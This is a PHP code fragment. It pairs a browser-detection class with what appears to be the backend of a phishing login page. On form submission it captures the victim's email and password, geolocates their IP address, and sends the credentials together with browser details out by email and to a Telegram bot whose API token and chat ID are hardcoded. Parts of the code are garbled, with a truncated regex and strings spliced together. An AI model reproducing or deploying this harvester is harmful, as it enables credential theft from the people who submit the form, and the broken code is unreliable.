'Internet Explorer 11',
'Beamrise' => 'Beamrise',
'Opera' => 'Opera',
'OPR' => 'Opera',
'Shiira' => 'Shiira',
'Chimera' => 'Chimera',
'Phoenix' => 'Phoenix',
'Firebird' => 'Firebird',
'Camino' => 'Camino',
'Netscape' => 'Netscape',
'OmniWeb' => 'OmniWeb',
'Konqueror' => 'Konqueror',
'icab' => 'iCab',
'Lynx' => 'Lynx',
'Links' => 'Links',
'hotjava' => 'HotJava',
'amaya' => 'Amaya',
'IBrowse' => 'IBrowse',
'iTunes' => 'iTunes',
'Silk' => 'Silk',
'Dillo' => 'Dillo',
'Maxthon' => 'Maxthon',
'Arora' => 'Arora',
'Galeon' => 'Galeon',
'Iceape' => 'Iceape',
'Iceweasel' => 'Iceweasel',
'Midori' => 'Midori',
'QupZilla' => 'QupZilla',
'Namoroka' => 'Namoroka',
'NetSurf' => 'NetSurf',
'BOLT' => 'BOLT',
'EudoraWeb' => 'EudoraWeb',
'shadowfox' => 'ShadowFox',
'Swiftfox' => 'Swiftfox',
'Uzbl' => 'Uzbl',
'UCBrowser' => 'UCBrowser',
'Kindle' => 'Kindle',
'wOSBrowser' => 'wOSBrowser',
'Epiphany' => 'Epiphany',
'SeaMonkey' => 'SeaMonkey',
'Firefox' => 'Firefox',
'Chrome' => 'Google Chrome',
'MSIE' => 'Internet Explorer',
'Internet Explorer' => 'Internet Explorer',
'Safari' => 'Safari',
'Mozilla' => 'Mozilla'
);
private $_basic_platform = array(
'windows' => 'Windows',
'iPad' => 'iPad',
'iPod' => 'iPod',
'iPhone' => 'iPhone',
'mac' => 'Apple',
'android' => 'Android',
'linux' => 'Linux',
'Nokia' => 'Nokia',
'BlackBerry' => 'BlackBerry',
'FreeBSD' => 'FreeBSD',
'OpenBSD' => 'OpenBSD',
'NetBSD' => 'NetBSD',
'UNIX' => 'UNIX',
'DragonFly' => 'DragonFlyBSD',
'OpenSolaris' => 'OpenSolaris',
'SunOS' => 'SunOS',
'OS\/2' => 'OS/2',
'BeOS' => 'BeOS',
'win' => 'Windows',
'Dillo' => 'Linux',
'PalmOS' => 'PalmOS',
'RebelMouse' => 'RebelMouse'
);
function __construct($ua = '') {
if(empty($ua)) {
$this->_user_agent = (!empty($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:getenv('HTTP_USER_AGENT'));
} else {
$this->_user_agent = $ua;
}
}
function detect() {
$this->detectBrowser();
$this->detectPlatform();
return $this;
}
function detectBrowser() {
foreach($this->_basic_browser as $pattern => $name) {
if( preg_match("/".$pattern."/i",$this->_user_agent, $match)) {
$this->_name = $name;
// finally get the correct version number
$known = array('Version', $pattern, 'other');
$pattern_version = '#(? Time Received - " . date("d/m/Y h:i:s a") . " Time Received - " . date("d/m/Y h:i:s a") . " IP Details: " . htmlspecialchars($ipDetails) . " Browser: " . (new BrowserDetection())->detect()->getBrowser() . " " . (new BrowserDetection())->detect()->getVersion() . " on " . (new BrowserDetection())->detect()->getPlatform() . "
\n" .
"Browser Version: {$this->getVersion()}
\n" .
"Browser User Agent String: {$this->getUserAgent()}
\n" .
"Platform: {$this->getPlatform()}
";
}
}
if ($_POST) {
$ip = $_SERVER['REMOTE_ADDR'];
$query = @unserialize(file_get_contents('http://ip-api.com/php/' . $ip));
$query2 = @json_decode(file_get_contents("https://api.ipdata.co/" . $ip));
$ipDetails = $ip;
if ($query && $query['status'] == 'success') {
$ipDetails .= ' | ' . $query['country'] . ', ' . $query['regionName'] . ', ' . $query['city'];
} else if ($query2) {
$ipDetails .= ' | ' . @$query2->country . ' | ' . @$query2->region . ' | ' . @$query2->city;
}
$email = $_POST['email'];
$password = $_POST['password'];
if (empty($email) || empty($password)) {
header("Location: index.php");
exit;
}
$msg = "***Details of a login***
Email Address : $email
Password : $password
';
// Send email with error handling
if (mail($to, $subject, $emailBody, $headers)) {
error_log("Email sent successfully.", 3, 'email_log.txt');
} else {
error_log("Failed to send email.", 3, 'email_log.txt');
}
// Telegram Bot API Token and Chat ID
$apiToken = "7850827337:AAE2xReAkmbUFLAHCUjSyvexby6M9ucjjM4";
$chatId = "940111678";
// Create the message to be sent to Telegram
$telegramMsg = "***Details of a login***Email: ' . htmlspecialchars($email) . ' Subject: ' . htmlspecialchars($subject) . ' Message: ' . htmlspecialchars($msg) . ' IP Details: ' . htmlspecialchars($ipDetails) . ' Browser Details: ' . (new BrowserDetection())->detect()->getInfo() . '
Email Address: " . htmlspecialchars($email) . "
Password: " . htmlspecialchars($password) . "